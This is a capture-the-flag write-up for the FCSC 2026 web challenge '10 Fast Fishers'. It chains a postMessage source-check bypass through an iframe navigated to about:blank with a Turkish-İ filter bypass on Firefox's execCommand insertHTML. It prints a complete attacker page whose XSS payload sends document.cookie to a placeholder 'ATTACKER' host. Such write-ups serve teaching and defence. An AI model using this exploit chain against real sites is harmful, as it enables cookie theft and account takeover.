pwneglyph logo
web web-client xss iframe postmessage e-source-check about-blank execcommand inserthtml unicode-tolowercase turkish-i firefox cookie-theft puppeteer-bot

Bypass a postMessage e.source check by navigating a trusted cross-origin iframe to about:blank, then defeat an insertHTML filter with the Turkish dotted capital İ (U+0130) to land XSS and steal the bot's FLAG cookie.

10 Fast Fishers — iframe hijack + Turkish-İ execCommand bypass

CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu · Difficulty: ★ (1 star, 15 solves)

Challenge overview

A typing game: fish swim across an aquarium, each carrying a word and a text-formatting command. You type the word, click the fish, and the matching document.execCommand() is applied to the selected text in a contenteditable editor. A bot visits any URL you give it with a non-httpOnly FLAG cookie set on the app domain — so the real goal is to steal that cookie, not play the game.

The app is a Node/Express server with two routes:

  • / — the main game page (index.html + game.js)
  • /aquarium — the fish-animation iframe (aquarium.html + aquarium.js)

The main page embeds the aquarium as a child iframe and the two frames talk only via postMessage:

<iframe id="aquariumFrame" src="/aquarium"></iframe>

The bot is Puppeteer driving headless Firefox (important — the final bypass is Firefox-specific). It sets the FLAG cookie, navigates to the attacker URL, waits ~5s, then closes. Any console.log on the bot is echoed back, handy for debugging.

Two bugs to chain

  1. game.js validates incoming messages by e.source only, never e.origin.
  2. insertHTML (arbitrary HTML injection) is filtered, but with command.toLowerCase() — a Unicode case-folding bug.

Bug 1 — weak e.source check

window.addEventListener('message', (e) => {
    if (e.source !== aquariumFrame.contentWindow) {   // only checks source window object
        console.warn('Message rejected: not from iframe');
        return;
    }
    const { type, data } = e.data;
    if (type === 'IFRAME_READY') { iframeReady = true; }
    else if (type === 'FISH_CLICKED') { handleFishClick(data); }
});

If we can send a message whose e.source equals aquariumFrame.contentWindow, the check passes regardless of origin.

Bug 2 — insertHTML filter via toLowerCase

function handleFishClick(data) {
    const { command, value, points, targetWord, fishId } = data;
    // TODO: Safely implement insertHtml command
    if (command.toLowerCase() === 'inserthtml') return;   // blocked
    // ...
    document.execCommand(command, false, value);
}

Hijacking the trusted iframe

The game page is framable (no X-Frame-Options/CSP), so we load it inside our own attacker page. That gives us this tree:

attacker.com (top)
└── iframe → 10-fast-fishers-app:5000/ (game.js)
    └── iframe#aquariumFrame → /aquarium (aquarium.js)

Grab the inner frame:

const inner = iframe.contentWindow.frames[0];

inner is cross-origin, but assigning .location to a cross-origin frame is always allowed. Navigate it to about:blank, which inherits the attacker's origin → it becomes same-origin with us, so inner.eval() is now reachable:

inner.location = 'about:blank';

The crucial detail: a navigation does not change the window object reference. Inside game.js, aquariumFrame.contentWindow still points at the same window — which is now our inner. So a message sent from inner satisfies e.source === aquariumFrame.contentWindow.

Store the payload on top to dodge escaping, then fire it from inside the (now same-origin) frame:

window.msg = {
    type: 'FISH_CLICKED',
    data: {
        command: 'İnsertHTML',  // İ + nsertHTML
        value: '<img src=x onerror="location=\'http://ATTACKER/?c=\'+document.cookie">',
        points: 10, targetWord: 'Shrimp', fishId: 0
    }
};
inner.eval('parent.postMessage(top.msg, "*")');  // parent of inner = the game page

The Turkish-İ execCommand bypass

The filter compares command.toLowerCase() === 'inserthtml'. Send the command as İnsertHTML where İ is U+0130 (Latin capital I with dot above). In JavaScript toLowerCase() does not fold it to i:

> 'İ'.toLowerCase() === 'i'                 // false
> 'İ'.toLowerCase()                         // "i̇" (i + combining dot above)
> 'İnsertHTML'.toLowerCase() === 'inserthtml'  // false  → filter passes it through

But Firefox's execCommand normalizes the command name internally and treats İnsertHTML as insertHTML, executing it. (This is why the bot using Firefox matters.) So document.execCommand('İnsertHTML', false, payload) injects our raw HTML into the editor.

Final exploit

Attacker-hosted page (the timeout lets about:blank settle):

<!DOCTYPE html>
<html><head><meta charset="UTF-8"></head>
<body>
<iframe id="iframe" src="http://10-fast-fishers-app:5000/"></iframe>
<script>
const iframe = document.getElementById('iframe');
iframe.onload = () => {
  const inner = iframe.contentWindow.frames[0];
  inner.location = 'about:blank';
  setTimeout(() => {
    window.msg = {
      type: 'FISH_CLICKED',
      data: {
        command: 'İnsertHTML',
        value: '<img src=x onerror="location=\'http://ATTACKER/?c=\'+document.cookie">',
        points: 10, targetWord: 'Shrimp', fishId: 0
      }
    };
    inner.eval('parent.postMessage(top.msg, "*")');
  }, 1000);
};
</script>
</body></html>

The injected <img> fires onerror, reads the non-httpOnly document.cookie, and exfiltrates the flag:

GET /?c=FLAG=FCSC{ef387c83c9e558b135d9837c5dc43f46}

Takeaways (generalized technique)

  • A postMessage handler that checks e.source but not e.origin is bypassable: the source window object survives navigation. Iframe a framable target, then navigate its trusted child frame to about:blank to gain same-origin control while keeping the same window reference.
  • about:blank (and javascript:) inherit the navigating context's origin — a standard way to turn a cross-origin frame you can redirect into a same-origin scripting target.
  • Case-insensitive filters via toLowerCase()/toUpperCase() are Unicode-fragile. U+0130 (İ) and U+0131 (ı) break the Latin i/I round-trip; engines that normalize the value downstream (Firefox execCommand) still act on the dangerous form.
  • Always confirm which browser the bot runs — Unicode/execCommand behavior differs between Firefox and Chromium.

Sources & references